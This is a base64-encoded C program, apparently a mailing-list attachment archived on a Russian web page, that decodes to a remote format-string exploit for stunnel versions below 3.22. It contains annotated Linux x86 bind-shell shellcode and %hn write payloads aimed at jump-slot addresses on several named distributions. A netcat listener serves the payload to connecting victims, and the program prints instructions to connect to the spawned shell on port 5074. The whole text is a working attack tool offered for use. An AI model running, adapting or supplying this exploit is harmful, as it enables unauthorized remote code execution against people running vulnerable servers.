ICAgICAgICAgICAgICAvKiAgIG1vdiAgICAkMHg2NiwlYWwgICAgICAgICAgICovCiAgICAg
ICAgIlx4Y2RceDgwIiAgICAgICAgICAgICAgICAgICAgICAvKiAgIGludCAgICAkMHg4MCAg
ICAgICAgICAgICAgICovCiAgICAgICAgIlx4ODNceGM0XHgwYyIgICAgICAgICAgICAgICAg
ICAvKiAgIGFkZCAgICAkMHhjLCVlc3AgICAgICAgICAgICovCiAgICAgICAgIlx4NTIiICAg
ICAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2ggICAlZWR4ICAgICAgICAgICAgICAg
ICovCiAgICAgICAgIlx4NTIiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAgIHB1c2gg
ICAlZWR4ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4NDMiICAgICAgICAgICAgICAg
ICAgICAgICAgICAvKiAgIGluYyAgICAlZWJ4ICAgICAgICAgICAgICAgICovCiAgICAgICAg
Ilx4YjBceDY2IiAgICAgICAgICAgICAgICAgICAgICAvKiAgIG1vdiAgICAkMHg2NiwlYWwg
ICAgICAgICAgICovCiAgICAgICAgIlx4Y2RceDgwIiAgICAgICAgICAgICAgICAgICAgICAv
KiAgIGludCAgICAkMHg4MCAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4OTMiICAgICAg
ICAgICAgICAgICAgICAgICAgICAvKiAgIHhjaGcgICAlZWF4LCVlYnggICAgICAgICAgICov
CiAgICAgICAgIlx4ODlceGQxIiAgICAgICAgICAgICAgICAgICAgICAvKiAgIG1vdiAgICAl
ZWR4LCVlY3ggICAgICAgICAgICovCiAgICAgICAgIlx4YjBceDNmIiAgICAgICAgICAgICAg
ICAgICAgICAvKiAgIG1vdiAgICAkMHgzZiwlYWwgICAgICAgICAgICovCiAgICAgICAgIlx4
Y2RceDgwIiAgICAgICAgICAgICAgICAgICAgICAvKiAgIGludCAgICAkMHg4MCAgICAgICAg
ICAgICAgICovCiAgICAgICAgIlx4NDEiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAg
IGluYyAgICAlZWN4ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4ODBceGY5XHgwMyIg
ICAgICAgICAgICAgICAgICAvKiAgIGNtcCAgICAkMHgzLCVjbCAgICAgICAgICAgICovCiAg
ICAgICAgIlx4NzVceGY2IiAgICAgICAgICAgICAgICAgICAgICAvKiAgIGpuZSAgICA4MGEw
MzVkIDxwcml2OHNlY3VyaXR5KzB4M2Q+ICAgICAgICAqLwogICAgICAgICJceDUyIiAgICAg
ICAgICAgICAgICAgICAgICAgICAgLyogICBwdXNoICAgJWVkeCAgICAgICAgICAgICAgICAq
LwogICAgICAgICJceDY4XHg2ZVx4MmZceDczXHg2OCIgICAgICAgICAgLyogICBwdXNoICAg
JDB4Njg3MzJmNmUgICAgICAgICAqLwogICAgICAgICJceDY4XHgyZlx4MmZceDYyXHg2OSIg
ICAgICAgICAgLyogICBwdXNoICAgJDB4Njk2MjJmMmYgICAgICAgICAqLwogICAgICAgICJc
eDg5XHhlMyIgICAgICAgICAgICAgICAgICAgICAgLyogICBtb3YgICAgJWVzcCwlZWJ4ICAg
ICAgICAgICAqLwogICAgICAgICJceDUyIiAgICAgICAgICAgICAgICAgICAgICAgICAgLyog
ICBwdXNoICAgJWVkeCAgICAgICAgICAgICAgICAqLwogICAgICAgICJceDUzIiAgICAgICAg
ICAgICAgICAgICAgICAgICAgLyogICBwdXNoICAgJWVieCAgICAgICAgICAgICAgICAqLwog
ICAgICAgICJceDg5XHhlMSIgICAgICAgICAgICAgICAgICAgICAgLyogICBtb3YgICAgJWVz
cCwlZWN4ICAgICAgICAgICAqLwogICAgICAgICJceGIwXHgwYiIgICAgICAgICAgICAgICAg
ICAgICAgLyogICBtb3YgICAgJDB4YiwlYWwgICAgICAgICAgICAqLwogICAgICAgICJceGNk
XHg4MCI7ICAgICAgICAgICAgICAgICAgICAgLyogICBpbnQgICAgJDB4ODAgICAgICAgICAg
ICAgICAqLwoKY2hhciBmbXRSSDcyW109Ilx4NTBceDcxXHgwNVx4MDhceDUyXHg3MVx4MDVc
eDA4JS40OTE0M3glNFwkaG4lLjEyODgxeCUzXCRobiI7IC8qIDA4MDU3MTUwIFJfMzg2X0pV
TVBfU0xPVCAgIHZzbnByaW50ZiAqLwpjaGFyIGZtdFJINzNbXT0iXHhlOFx4NjlceDA1XHgw
OFx4ZWFceDY5XHgwNVx4MDglLjQ5MTQzeCU0XCRobiUuMTI5ODJ4JTNcJGhuIjsgLyogMDgw
NTY5ZTggUl8zODZfSlVNUF9TTE9UICAgdnNucHJpbnRmICovCmNoYXIgZm10Ukg4MFtdPSJc
eDI4XHg2OVx4MDVceDA4XHgyYVx4NjlceDA1XHgwOCUuNDkxNDN4JTRcJGhuJS4xMjgxNXgl
M1wkaG4iOyAvKiAwODA1NjkyOCBSXzM4Nl9KVU1QX1NMT1QgICB2c3ByaW50ZiAqLwpjaGFy
IGZtdE1ESzkwW109Ilx4ZjhceDIzXHgwNVx4MDhceGZhXHgyM1x4MDVceDA4JS40OTE0M3gl
NFwkaG4lLjEzMzIxeCUzXCRobiI7IC8qIDA4MDUyM2Y4IFJfMzg2X0pVTVBfU0xPVCAgIHZz
bnByaW50ZiAqLwpjaGFyIGZtdFNMQUNLODFbXT0iXHhkY1x4NjlceDA1XHgwOFx4ZGVceDY5
XHgwNVx4MDglLjQ5MTQzeCUxMFwkaG4lLjEyMDgyeCU5XCRobiI7IC8qIDA4MDU2OWRjIFJf
Mzg2X0pVTVBfU0xPVCAgdnNucHJpbnRmICovCmNoYXIgZm10REVCSUFOMzBbXT0iXHhhOFx4
MzRceDA1XHgwOFx4YWFceDM0XHgwNVx4MDglLjQ5MTQzeCUxMFwkaG4lLjE0NDkyeCU5XCRo
biI7IC8qIDA4MDUzNGE4IFJfMzg2X0pVTVBfU0xPVCAgdnNucHJpbnRmICovCmNoYXIgZm10
WU9VUk9XTltdPSIiOyAvKiAgUl8zODZfSlVNUF9TTE9UICB2c25wcmludGYgKi8KICAgICAg
ICAKY2hhciAgICBjOwpzdHJ1Y3QgIG9zIHsKICAgIGludCBudW07CiAgICBjaGFyICpvc3Q7
CiAgICBjaGFyICpzaGVsbGNvZGU7CiAgICBjaGFyICpmb3JtYXQ7CiAgICBpbnQgZmxhZzsK
fTsKIApzdHJ1Y3Qgb3MgcGxhdFtdID0KewogICAgewogICAgICAgIDAsIlJlZCBIYXQgTGlu
dXggcmVsZWFzZSA3LjIgc3R1bm5lbC0zLjIwLnRhci5neiIsCiAgICAgICAgbGludXhzaGVs
bGNvZGUsZm10Ukg3MiwxMQogICAgfSwKICAgIHsKICAgICAgICAxLCJSZWQgSGF0IExpbnV4
IHJlbGVhc2UgNy4zIHN0dW5uZWwtMy4yMC50YXIuZ3oiLAogICAgICAgIGxpbnV4c2hlbGxj
b2RlLGZtdFJINzMsMTEKICAgIH0sCiAgICB7CiAgICAgICAgMiwiUmVkIEhhdCBMaW51eCBy
ZWxlYXNlIDguMCBzdHVubmVsLTMuMjAudGFyLmd6IiwKICAgICAgICBsaW51eHNoZWxsY29k
ZSxmbXRSSDgwLDExCiAgICB9LAogICAgewogICAgICAgIDMsIk1hbmRyYWtlIExpbnV4IHJl
bGVhc2UgOS4wIHN0dW5uZWwtMy4yMC50YXIuZ3oiLAogICAgICAgIGxpbnV4c2hlbGxjb2Rl
LGZtdE1ESzkwLDExCiAgICB9LAogICAgewogICAgICAgIDQsIlNsYWNrd2FyZSBMaW51eCBy
ZWxlYXNlIDguMSBzdHVubmVsLTMuMjAudGFyLmd6IiwKICAgICAgICBsaW51eHNoZWxsY29k
ZSxmbXRTTEFDSzgxLDUKICAgIH0sCiAgICB7CiAgICAgICAgNSwiRGViaWFuIEdOVSByZWxl
YXNlIDMuMCBzdHVubmVsLTMuMjAudGFyLmJ6MiIsCiAgICAgICAgbGludXhzaGVsbGNvZGUs
Zm10REVCSUFOMzAsNQogICAgfSwKICAgIHsKICAgICAgICA2LCJZb3VyIGN1c3RvbSBkaXN0
cm8gc3R1bm5lbC0zLjIwLnRhci5iejIiLAogICAgICAgIGxpbnV4c2hlbGxjb2RlLGZtdFlP
VVJPV04sNQogICAgfQogICAgCn07Cgp2b2lkIHVzYWdlKGNoYXIgKmFyZ3VtZW50KTsKaW50
IG1haW4oYXJnYyxhcmd2KQogICAgaW50IGFyZ2M7CiAgICBjaGFyICphcmd2W107CnsKCmlu
dCB0eXBlPTA7CmludCBmbGFnPXBsYXRbdHlwZV0uZmxhZzsKZXh0ZXJuIGNoYXIgKm9wdGFy
ZzsKaW50IGNudDsKY2hhciAgICBuZXdzdHJpbmdbMzAwXTsKaW50ICAgICBwb3J0ID0gOTk0
Owpjb25zdCBjaGFyKiBzcGxvaXRkYXRhX2ZpbGVuYW1lID0gInNwbG9pdGRhdGEuc3BsIjsg
ICAgIApzdGF0aWMgICAgICAgIGludCBmZFsyXTsKc3RhdGljICAgICAgICBwaWRfdCBjaGls
ZHBpZDsKc3RhdGljICAgICAgICBjaGFyIHN0cl9wb3J0WzZdOwoKdm9pZCB3cml0ZV9zcGxv
aXRfZGF0YSAoY2hhciogZW50cnkpCiAgICB7CiAgICBpbnQgZmQgPSBvcGVuIChzcGxvaXRk
YXRhX2ZpbGVuYW1lLCBPX1dST05MWSB8IE9fQ1JFQVQgfCBPX0FQUEVORCwgMDY2MCk7CiAg
ICB3cml0ZSAoZmQsIGVudHJ5LCBzdHJsZW4gKGVudHJ5KSk7CiAgICB3cml0ZSAoZmQsICJc
biIsIDEpOwogICAgZnN5bmMgKGZkKTsKICAgIGNsb3NlIChmZCk7CiAgICB9CiAgICAgIGlm
KGFyZ2MgPT0gMSkgCiAgICAgICAgICAgICAgICAgICAgdXNhZ2UoYXJndlswXSk7CiAgICAg
IGlmKGFyZ2MgPT0gMikgCiAgICAgICAgICAgICAgICAgICAgdXNhZ2UoYXJndlswXSk7CiAg
ICAgIGlmKGFyZ2MgPT0gMykgCiAgICAgICAgICAgICAgICAgICAgdXNhZ2UoYXJndlswXSk7
CiAgICAgICAgd2hpbGUgKChjID0gZ2V0b3B0KGFyZ2MsIGFyZ3YsICJoOnA6dDp2IikpID4g
MCApewogICAgICAgICAgICAgICAgc3dpdGNoIChjKSB7CiAgICAgICAgICAgICAgICBjYXNl
ICd0JzoKICAgICAgICAgICAgICAgICAgICAgICAgdHlwZSA9IGF0b2kob3B0YXJnKTsKICAg
ICAgICAgICAgICAgICAgICAgICAgaWYodHlwZT42KSAvKiAwLDEsMiwzLDQsNSw2ICovCiAg
ICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgKHZvaWQp
dXNhZ2UoYXJndlswXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAg
ICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdwJzoKICAgICAgICAg
ICAgICAgICAgICAgICAgcG9ydCA9IGF0b2kob3B0YXJnKTsKICAgICAgICAgICAgICAgICAg
ICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdoJzoKICAgICAgICAgICAgICAg
ICAgICAgICAgdXNhZ2UoYXJndlswXSk7CiAgICAgICAgICAgICAgICBjYXNlICc/JzoKICAg
ICAgICAgICAgICAgIGNhc2UgJzonOgogICAgICAgICAgICAgICAgICAgICAgICBleGl0KC0x
KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgTUFYPXN0cmxlbihwbGF0
W3R5cGVdLmZvcm1hdCkrc3RybGVuKHBsYXRbdHlwZV0uc2hlbGxjb2RlKTsKICAgICAgICBm
cHJpbnRmKHN0ZG91dCwiUmVtb3RlIGV4cGxvaXQgZm9yIFNUVU5ORUwgPDMuMjJcbmJ5IF5z
cS93MDBuZiAtIGRlbHRoYSBbYXRdIGFuYWxvZy5yb1xuIik7CiAgICAgICAgZnByaW50Zihz
dGRvdXQsIlsqXSB0YXJnZXQ6ICVzXG4iLHBsYXRbdHlwZV0ub3N0KTsKICAgICAgICBmcHJp
bnRmKHN0ZG91dCwiWypdIG1heGxlbmdodDogJWRcbiIsIE1BWCk7CiAgICAgICAgdW5saW5r
IChzcGxvaXRkYXRhX2ZpbGVuYW1lKTsKICAgICAgICBzdHJjcHkobmV3c3RyaW5nLCBwbGF0
W3R5cGVdLmZvcm1hdCk7CiAgICAgICAgc3RyY2F0KG5ld3N0cmluZywgcGxhdFt0eXBlXS5z
aGVsbGNvZGUpOwogICAgICAgIHdyaXRlX3NwbG9pdF9kYXRhKG5ld3N0cmluZyk7CiAgICAg
ICAgc3ByaW50ZigoY2hhciAqKSAmc3RyX3BvcnQsICIlZCIsIHBvcnQpOwogICAgICAgIHBy
aW50ZigiWypdIGhvc3Q6IGxvY2FsaG9zdFxuIik7CiAgICAgICAgcHJpbnRmKCJbKl0gcG9y
dDogJXNcbiIsIHN0cl9wb3J0KTsgICAgICAgICAgICAgCiAgICAgICAgcHJpbnRmKCJbKl0g
d2FpdGluZzogamFja2FzcyBzaG91bGQgY29ubmVjdCB0byBvdXIgcG9ydFxuIik7CiAgICAg
ICAgcHJpbnRmKCJbKl0gbmV4dDogYWZ0ZXIgaGUgY29ubmVjdHMgcHJlc3MgY3RybC1jXG4i
KTsgICAgICAgCiAgICAgICAgcHJpbnRmKCJbKl0gbmV4dDogeW91IHNob3VsZCB0cnkgdG8g
Y29ubmVjdCB0byBoaXMgcG9ydCA1MDc0IC0gbmMgMS4yLjMuNCA1MDc0XG4iKTsgICAgICAg
ICAgICAgICAKICAgICAgICBwaXBlKGZkKTsKICAgICAgICBpZiAoKCBjaGlsZHBpZD1mb3Jr
KCkpPT0wKSB7IC8qIGNhdCBpcyB0aGUgY2hpbGQgKi8KICAgICAgICAgICAgICAgIGR1cDIo
ZmRbMV0sU1RET1VUX0ZJTEVOTyk7CiAgICAgICAgICAgICAgICBjbG9zZShmZFswXSk7CiAg
ICAgICAgICAgICAgICBjbG9zZShmZFsxXSk7CiAgICAgICAgICAgICAgICBleGVjbCgiL2Jp
bi9jYXQiLCJjYXQiLHNwbG9pdGRhdGFfZmlsZW5hbWUsTlVMTCk7CiAgICAgICAgICAgICAg
ICBwZXJyb3IoIlRoZSBleGVjIG9mIGNhdCBmYWlsZWQiKTsKICAgICAgICB9IGVsc2UgeyAg
ICAgICAgICAgICAgICAgICAgICAvKiBuZXRjYXQgaXMgdGhlIHBhcmVudCAqLwoKICAgICAg
ICAgICAgICAgIGR1cDIoZmRbMF0sIFNURElOX0ZJTEVOTyk7CiAgICAgICAgICAgICAgICBj
bG9zZShmZFswXSk7CiAgICAgICAgICAgICAgICBjbG9zZShmZFsxXSk7CiAgICAgICAgICAg
ICAgICBleGVjbCgiL3Vzci9iaW4vbmMiLCAibmMiLCAiLW4iLCAiLWwiLCAiLXAiLCBzdHJf
cG9ydCwgTlVMTCk7CiAgICAgICAgICAgICAgICBwZXJyb3IoInRoZSBleGVjIG9mIG5jIGZh
aWxlZCIpOwogICAgICAgIH0KICAgICAgICBwcmludGYoIlsqXSBuZXh0OiBub3cgeW91IHNo
b3VsZCB0cnkgdG8gY29ubmVjdCB0byBoaXMgcG9ydCA1MDc0XG4iKTsgICAgICAgICAgICAg
ICAKICAgICAgICBleGl0KDApOwp9Cgp2b2lkIHVzYWdlKGNoYXIgKmFyZ3VtZW50KQp7Cglm
cHJpbnRmKHN0ZG91dCwiVXNhZ2U6ICVzIC1vcHRpb25zIGFyZ3VtZW50c1xuIixhcmd1bWVu
dCk7CglmcHJpbnRmKHN0ZG91dCwiUmVtb3RlIGV4cGxvaXQgZm9yIFNUVU5ORUwgPDMuMjJc
biIKCSJieSBec3EvdzAwbmYgLSBkZWx0aGEgW2F0XSBhbmFsb2cucm9cblVzYWdlOiAlcyBb
LXAgPHBvcnQ+IC10IDx0YXJnZXR0eXBlPl1cbiIKCSJcdC1wIDxwb3J0PiAtIExvY2FsIGJp
bmRlZCBwb3J0IHdoZXJlIHRoZSByZW1vdGUgc3R1bm5lbCBjb25uZWN0c1xuIgoJIlx0LXQg
PHRhcmdldD4gLSBUYXJnZXQgdHlwZSBudW1iZXJcbiIsIGFyZ3VtZW50KTsKICAgICAgICBm
cHJpbnRmKHN0ZG91dCwiXHQtVGFyZ2V0IFR5cGUgTnVtYmVyIExpc3QtXG4iKTsKICAgIGZw
cmludGYoc3Rkb3V0LCIgezB9IFJlZCBIYXQgTGludXggcmVsZWFzZSA3LjIgIgoJICAgICIg
c3R1bm5lbC0zLjIwLnRhci5nelxuIik7CiAgICBmcHJpbnRmKHN0ZG91dCwiIHsxfSBSZWQg
SGF0IExpbnV4IHJlbGVhc2UgNy4zICIKCSAgICAiIHN0dW5uZWwtMy4yMC50YXIuZ3pcbiIp
OwogICAgZnByaW50ZihzdGRvdXQsIiB7Mn0gUmVkIEhhdCBMaW51eCByZWxlYXNlIDguMCAi
CgkgICAgIiBzdHVubmVsLTMuMjAudGFyLmd6XG4iKTsKICAgIGZwcmludGYoc3Rkb3V0LCIg
ezN9IE1hbmRyYWtlIExpbnV4IHJlbGVhc2UgOS4wICIKCSAgICAiIHN0dW5uZWwtMy4yMC50
YXIuZ3pcbiIpOwogICAgZnByaW50ZihzdGRvdXQsIiB7NH0gU2xhY2t3YXJlIExpbnV4IHJl
bGVhc2UgOC4xICIKCSAgICAiIHN0dW5uZWwtMy4yMC50YXIuZ3pcbiIpOwogICAgZnByaW50
ZihzdGRvdXQsIiB7NX0gRGViaWFuIEdOVSByZWxlYXNlIDMuMCAiCgkgICAgIiBzdHVubmVs
LTMuMjAudGFyLmd6XG4iKTsKICAgIGZwcmludGYoc3Rkb3V0LCIgezZ9IFlvdXIgY3VzdG9t
IGRpc3RybyAiCgkgICAgIiBzdHVubmVsLTMuMjAudGFyLmd6XG4iKTsKICAgIGZwcmludGYo
c3Rkb3V0LCIgRXhhbXBsZTE6ICVzIC10IDEgLXAgMjUyNTI1XG4iLGFyZ3VtZW50KTsKCWV4
aXQoMCk7Cn0K
--------------239D435348F11EE4DE72DE74--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList